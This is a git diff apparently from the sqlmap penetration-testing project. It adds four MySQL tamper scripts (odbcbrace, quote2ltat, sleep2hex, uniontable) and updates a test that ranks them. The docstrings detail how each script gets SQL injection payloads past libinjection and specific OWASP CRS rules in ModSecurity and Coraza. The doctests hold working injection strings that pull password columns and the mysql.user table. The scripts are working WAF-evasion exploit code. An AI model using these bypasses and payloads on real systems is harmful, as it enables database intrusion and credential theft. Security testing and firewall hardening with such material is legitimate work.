re.sub(r";(?=\s*(?:WAITFOR|DECLARE|SET|EXEC(?:UTE)?|SELECT|INSERT|UPDATE|DELETE|CREATE|DROP|ALTER|TRUNCATE|BEGIN|IF|WHILE|PRINT|USE|GRANT|REVOKE|BACKUP|RESTORE|RECONFIGURE|SHUTDOWN|WITH)\b)", ' ', payload, flags=re.I) if payload else payload diff --git a/tamper/odbcbrace.py b/tamper/odbcbrace.py new file mode 100644 index 00000000000..d8653c52938 --- /dev/null +++ b/tamper/odbcbrace.py @@ -0,0 +1,70 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import os +import re + +from lib.core.common import singleTimeWarnMessage +from lib.core.enums import DBMS +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.HIGHEST + +def dependencies(): + singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL)) + +def tamper(payload, **kwargs): + """ + Prepends a (MySQL) ODBC escape sequence to a numeric payload (e.g. -1 UNION ... -> {x !0}*-1 UNION ...) + + Requirement: + * MySQL + * MariaDB + + Tested against: + * MySQL 5.5.62, 5.7.44, 8.0.46, 8.4.9 + * MariaDB 10.7.8, 10.11.14, 11.8.8 + + Notes: + * Useful to bypass web application firewalls using libinjection (e.g. ModSecurity with + the OWASP CRS), still effective against libinjection 4.0.0 + * Verified against ModSecurity v3 with the OWASP CRS (paranoia level 1, blocking mode), + where it takes the boolean-based and error-based payloads down to 0 anomaly points + and they are answered with HTTP 200, on all of MySQL 5.5-9.4, Percona and + MariaDB 10.7-12.0, e.g. + {x !0}*1 AND SUBSTR((SELECT pw FROM users LIMIT 1),1,1)=0x73 + {x !0}*1 AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT pw FROM users LIMIT 1))) + Time-based payloads are not helped, as SLEEP() is matched by a separate rule + * MySQL accepts the undocumented ODBC escape sequence '{ }' as a plain + expression anywhere an expression is allowed, discarding the identifier, hence + '{x !0}' is simply 1 and '{x !0}*' preserves the original numeric value + * libinjection folds away a left brace followed by a bareword ("weird ODBC / MYSQL + {foo expr} --> expr") and restarts folding, so the fingerprint of the remaining + payload no longer matches its database and the whole payload is rated benign + * The inner expression has to start with an unary operator, as '{x 1}' is still being + detected, while '{x !0}' is not + * The brace has to lead the payload, hence only payloads starting with a number are + being processed (i.e. numeric injection points), while payloads starting with a + quote character are deliberately left untouched, as those are still being detected + * Against ModSecurity with the OWASP CRS this additionally clears rule 942360 + '^[\\W\\d]+\\s*?', as the leading '{' is followed by a word character. + Combine it with tamper script 'uniontable' (which clears 942270) to get a UNION + payload through: --tamper=uniontable,odbcbrace + + >>> tamper('-1 UNION ALL SELECT NULL,CONCAT(0x716b6a7671,0x41,0x7170707671),NULL-- -') + '{x !0}*-1 UNION ALL SELECT NULL,CONCAT(0x716b6a7671,0x41,0x7170707671),NULL-- -' + >>> tamper('1 AND 5=5') + '{x !0}*1 AND 5=5' + >>> tamper('1 AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT pw FROM users LIMIT 1)))') + '{x !0}*1 AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT pw FROM users LIMIT 1)))' + >>> tamper('-4162 OR 1=1#') + '{x !0}*-4162 OR 1=1#' + >>> tamper("' UNION ALL SELECT NULL-- -") + "' UNION ALL SELECT NULL-- -" + """ + + return re.sub(r"\A(?P[+-]?\d+)(?![\w.])", r"{x !0}*\g", payload) if payload else payload diff --git a/tamper/quote2ltat.py b/tamper/quote2ltat.py new file mode 100644 index 00000000000..d503b912da1 --- /dev/null +++ b/tamper/quote2ltat.py @@ -0,0 +1,55 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import os +import re + +from lib.core.common import singleTimeWarnMessage +from lib.core.enums import DBMS +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.HIGHEST + +def dependencies(): + singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL)) + +def tamper(payload, **kwargs): + """ + Adds '<@' right after a leading single quote followed by OR (e.g. ' OR 1=1-- - -> '<@ OR 1=1-- -) + + Requirement: + * MySQL + + Tested against: + * MySQL 5.5.62, 5.7.44, 8.0.36, 8.0.46, 8.4.9, 9.4.0 + * Percona 8.0.46 + + Notes: + * Useful to bypass web application firewalls in single-quoted injection points. For + those, the only OWASP CRS rule that fires on a plain tautology is 942100 (i.e. + libinjection), and libinjection does not model the '<@' sequence, so the resulting + payload is rated benign + * Verified against ModSecurity v3 with the OWASP CRS 3.3.10, ModSecurity v2 with the + OWASP CRS 4.25.0 and Coraza with the CRS development branch (v4.29.0), all of them + answering with HTTP 200 + * MySQL lexes the '@' as an (empty) user variable, hence ''<@ evaluates to NULL and the + following OR still decides the predicate, e.g. "name=''<@ OR 1=1-- -" is a tautology + * Only payloads where the quote is followed by OR (or ||) are processed, as NULL AND + is NULL and would silently break AND based payloads + * MariaDB rejects the sequence, hence MySQL and Percona only + + >>> tamper("' OR 1=1-- -") + "'<@ OR 1=1-- -" + >>> tamper("' OR LEFT((SELECT pw FROM users LIMIT 1),1)=0x73-- -") + "'<@ OR LEFT((SELECT pw FROM users LIMIT 1),1)=0x73-- -" + >>> tamper("' AND 1=1-- -") + "' AND 1=1-- -" + >>> tamper('-1 OR 1=1-- -') + '-1 OR 1=1-- -' + """ + + return re.sub(r"(?i)\A'\s*(?=(?:OR|\|\|)\b)", "'<@ ", payload) if payload else payload diff --git a/tamper/sleep2hex.py b/tamper/sleep2hex.py new file mode 100644 index 00000000000..7a895ff629e --- /dev/null +++ b/tamper/sleep2hex.py @@ -0,0 +1,55 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import os +import re + +from lib.core.common import singleTimeWarnMessage +from lib.core.enums import DBMS +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.HIGHEST + +def dependencies(): + singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL)) + +def tamper(payload, **kwargs): + """ + Replaces (MySQL) instances like 'SLEEP(5)' with 'SLEEP(0x5)' counterpart + + Requirement: + * MySQL + * MariaDB + + Tested against: + * MySQL 5.5.62, 5.7.44, 8.0.36, 8.0.46, 8.4.9, 9.4.0 + * Percona 8.0.46 + * MariaDB 10.7.8, 10.11.14, 11.4.12, 11.8.8, 12.0.2 + + Notes: + * Useful to bypass web application firewalls, as the OWASP CRS rule 942160 + '(?i:sleep\\(\\s*?\\d*?\\s*?\\)|benchmark\\(.*?\\,.*?\\))' only matches a run of plain + decimal digits between the parentheses, while MySQL happily accepts a hexadecimal + literal there + * Verified against ModSecurity v3 with the OWASP CRS (paranoia level 1, blocking mode), + where 'SLEEP(3)' scores 5 anomaly points and is blocked, while 'SLEEP(0x3)' scores 0 + and is answered with HTTP 200, the delay still being applied on all tested engines + * Combine it with tamper script 'odbcbrace' to also clear rule 942100 (libinjection), + e.g. --tamper=sleep2hex,odbcbrace + * 'SLEEP(5.0)' works just as well, for the same reason + + >>> tamper('1 AND SLEEP(5)') + '1 AND SLEEP(0x5)' + >>> tamper('1 AND (SELECT SLEEP( 12 ))') + '1 AND (SELECT SLEEP(0xc))' + >>> tamper('1 AND SLEEP(0)') + '1 AND SLEEP(0x0)' + >>> tamper('1 AND 1=1') + '1 AND 1=1' + """ + + return re.sub(r"(?i)\bSLEEP\(\s*(\d+)\s*\)", lambda match: "SLEEP(%s)" % hex(int(match.group(1))), payload) if payload else payload diff --git a/tamper/uniontable.py b/tamper/uniontable.py new file mode 100644 index 00000000000..c3d5dd14414 --- /dev/null +++ b/tamper/uniontable.py @@ -0,0 +1,90 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import os +import re + +from lib.core.common import singleTimeWarnMessage +from lib.core.enums import DBMS +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.HIGHEST + +def dependencies(): + singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL)) + +def tamper(payload, **kwargs): + """ + Replaces UNION SELECT * FROM with the (MySQL) explicit table statement UNION TABLE
+ + Requirement: + * MySQL >= 8.0.19 + + Tested against: + * MySQL 8.0.36, 8.0.46, 8.4.9, 9.4.0 + * Percona 8.0.46 + + Notes: + * Useful to bypass web application firewalls, as the resulting payload contains neither + the SELECT nor the FROM keyword. Verified against ModSecurity v3 with the OWASP CRS + (paranoia level 1, blocking mode), where the plain counterpart scores 20 anomaly + points and is blocked, while the rewritten payload scores 0 and is answered with + HTTP 200 + * The rule doing most of the work there is 942270 '(?i)union.*?select.*?from', which + needs all three keywords in that order. TABLE
is a complete query block on + its own (sql_yacc.yy query_primary has exactly three alternatives: SELECT, VALUES and + TABLE), so the branch carries none of them + * Also rated benign by libinjection 4.0.0, which is CRS rule 942100 + * TABLE
is strictly defined as SELECT * FROM
, hence only a bare '*' + column list is rewritten. Payloads carrying an explicit column list are deliberately + left untouched, as TABLE can neither project columns nor carry the concatenated + delimiters used for retrieving the query output + * Trailing ORDER BY and LIMIT clauses are supported by TABLE and are kept as they are, + while a WHERE clause is not, hence such payloads are deliberately left untouched + * Both the UNION branch form and the parenthesized subquery form are rewritten + * On its own the rewritten payload still trips CRS rule 942360 + '^[\\W\\d]+\\s*?' when it starts with a bare number. Chaining it with + tamper script 'odbcbrace' clears that too: --tamper=uniontable,odbcbrace + * MariaDB does not implement the TABLE statement at all + + >>> tamper('-1 UNION ALL SELECT * FROM users-- -') + '-1 UNION ALL TABLE users-- -' + >>> tamper('-1 UNION SELECT * FROM `mysql`.`user`#') + '-1 UNION TABLE `mysql`.`user`#' + >>> tamper('-1 UNION ALL SELECT * FROM users ORDER BY 1 LIMIT 1-- -') + '-1 UNION ALL TABLE users ORDER BY 1 LIMIT 1-- -' + >>> tamper('-1 AND (SELECT * FROM one)=0x41-- -') + '-1 AND (TABLE one)=0x41-- -' + >>> tamper('-1 UNION ALL SELECT NULL,CONCAT(0x716b6a7671,0x41,0x7170707671),NULL FROM users-- -') + '-1 UNION ALL SELECT NULL,CONCAT(0x716b6a7671,0x41,0x7170707671),NULL FROM users-- -' + >>> tamper('-1 UNION SELECT * FROM users WHERE id=1-- -') + '-1 UNION SELECT * FROM users WHERE id=1-- -' + """ + + def _union(match): + tail = (match.group("tail") or "").strip() + + if tail and not re.match(r"(?i)\A(?:ORDER\s+BY|LIMIT)\b", tail): + return match.group(0) + + return "%s%s TABLE %s%s" % (match.group("union"), match.group("all") or "", match.group("table"), (" %s" % tail) if tail else "") + + def _subquery(match): + tail = (match.group("tail") or "").strip() + + if tail and not re.match(r"(?i)\A(?:ORDER\s+BY|LIMIT)\b", tail): + return match.group(0) + + return "(TABLE %s%s)" % (match.group("table"), (" %s" % tail) if tail else "") + + retVal = payload + + if retVal: + retVal = re.sub(r"(?i)(?PUNION)(?P\s+ALL)?\s+SELECT\s+\*\s+FROM\s+(?P
`[^`]+`(?:\.`[^`]+`)?|\w+(?:\.\w+)?)(?P[\s\S]*?)(?=(?:--|#|/\*)|\Z)", _union, retVal) + retVal = re.sub(r"(?i)\(\s*SELECT\s+\*\s+FROM\s+(?P
`[^`]+`(?:\.`[^`]+`)?|\w+(?:\.\w+)?)(?P[^()]*?)\s*\)", _subquery, retVal) + + return retVal diff --git a/tests/test_wafbypass.py b/tests/test_wafbypass.py index 9e69ef25ada..bfdc9cc4da6 100644 --- a/tests/test_wafbypass.py +++ b/tests/test_wafbypass.py @@ -38,9 +38,10 @@ def test_unknown_waf_is_empty(self): class TestCandidateRanking(unittest.TestCase): def test_structural_first(self): cands = candidateTampers() - # the empirically strongest structural substitutions lead, ahead of camouflage - self.assertEqual(cands[0], "equaltolike") - self.assertIn("between", cands[:3]) + # the empirically strongest structural substitutions lead, ahead of camouflage. The first + # three are the ones measured to get through a CRS-class ruleset, so they are trialled first + self.assertEqual(cands[:3], ["castprefix", "mid2leftright", "odbcbrace"]) + self.assertLess(cands.index("equaltolike"), cands.index("randomcase")) self.assertLess(cands.index("between"), cands.index("space2comment")) def test_no_dbms_prefiltering(self):